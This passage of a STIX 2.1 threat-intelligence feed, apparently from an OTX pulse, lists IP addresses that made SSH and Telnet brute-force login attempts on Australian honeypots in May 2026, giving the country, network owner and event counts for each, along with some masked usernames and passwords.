      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--11a90392-defe-4fad-83a4-cc901fa41424",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.234.158.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7af66acb-7cd8-4abf-b893-a92baf7cf860",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.171.59.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 55824. Organisation(s): NKN Core Network. Usernames observed (masked): p****j, 3**********4, ***, r**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, q***********..",
      "id": "indicator--bf4a17df-5414-43f3-9ab6-935bb0599f6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.139.219.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--1df898b6-86ce-466b-97d6-835b5d91d1e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.113.207.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5741d2dc-d8e5-4ba6-a3ae-2aa0c85c2bcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.228.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f324a6f4-1d08-4878-bedf-ce9c33b79566",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.8.60.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--806fb168-07ae-4fed-bab8-c49e3eff8f43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.197.61.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53080. Organisation(s): VERO S.A.",
      "id": "indicator--7614f305-0314-41c0-b620-4ed25f1ce8aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.194.178.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--4c639d87-df1f-478b-8d14-1842a2604cd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.218.154.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--45291395-c9a8-441c-ba78-0d48c14218b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.84.145.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 7738. Organisation(s): V tal.",
      "id": "indicator--74fc1115-c3c8-4389-9a6e-ec669a9115bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.199.185.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270804. Organisation(s): R DE OLIVEIRA COMUNICACOES.",
      "id": "indicator--cd529764-9de1-4182-80b7-badbb731e211",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.219.61.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--9cfc7708-3e76-4f78-890e-f396966c0249",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5bd6f3ab-7a37-4925-9537-d28bfcc047fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.31.110.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--60fb377a-58bf-4cbe-ad3b-2386e272e48b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.13.17.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 55688. Organisation(s): PT. Beon Intermedia. Usernames observed (masked): r**t, 3**********4, m****b, s*****t, e****n. Passwords observed (masked): 3***********4, 3**********4, 1******m, C*******6, I***********************5.",
      "id": "indicator--13bec0dc-0210-4add-885d-2d62864ffa04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.147.122.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132116. Organisation(s): Anonet Network Private Limited.",
      "id": "indicator--b4f28e1a-e8aa-416f-b048-5cdb7610d8c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.120.161.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--1bd90e8f-660a-4ecc-ade5-0a408a71c866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.236.202.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60404. Organisation(s): The Infrastructure Group B.V.. Usernames observed (masked): s*****t. Passwords observed (masked): I*************************t.",
      "id": "indicator--a5e4fbd0-e2e1-4256-8f70-c4b2cfaed1a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.255.98.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--199c6286-3ae2-4bea-b0b1-85aa74f9c2c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.121.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e3937081-5f3e-42a7-bd62-0a83ca1e8556",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.159.250.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--be65d27e-8e1a-47a1-96e7-606d03b1b3a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16904. Organisation(s): Arvig Enterprises Inc.. Usernames observed (masked): p****j, r**t, 3**********4. Passwords observed (masked): 1****6, 3***********4, 3**********4, A*******., q***********..",
      "id": "indicator--9b662003-dcf8-43ab-93fd-dcb6488eeecb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.127.135.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--494d2ce0-3304-4b2c-8a63-39e59aa29ef4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d9e91bcc-04ca-4fcd-b5d8-0d0dcd9ea897",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--60ca3075-f812-4be6-bc0a-910057cbd2b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--88d96bf6-e547-4c29-85f8-486a3ba3b4ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--ee828333-c1c3-4212-9b6a-cb05249fa823",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--73803fb3-23d4-4dad-a609-e0a1c031aec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--ff415f79-22a2-499d-a7f9-2e0ae3c07ed8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.204.138.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--19761094-3372-405d-846a-c9f4c92e6a72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.66.20.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dc5f8c7a-169c-4754-bfff-ea0626579b19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.32.31.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d36ac34f-3d93-4a39-acca-1edf7a1452a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.205.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--33bd099c-f601-4c48-90b3-bcf3eca165fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.75.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--87abc428-3a38-4c82-a4e7-f54ac77d5138",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.218.156.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f549f54b-a8f2-4678-b91f-491de816ccff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.15.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:15:26.000Z",
      "valid_until": "2026-06-24T03:15:08.000Z"
    },
    {
      "created": "2026-05-23T03:15:26.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9ff39fe5-fec8-4907-a3ce-a29f848ee58d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:15:26.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.25.135']",
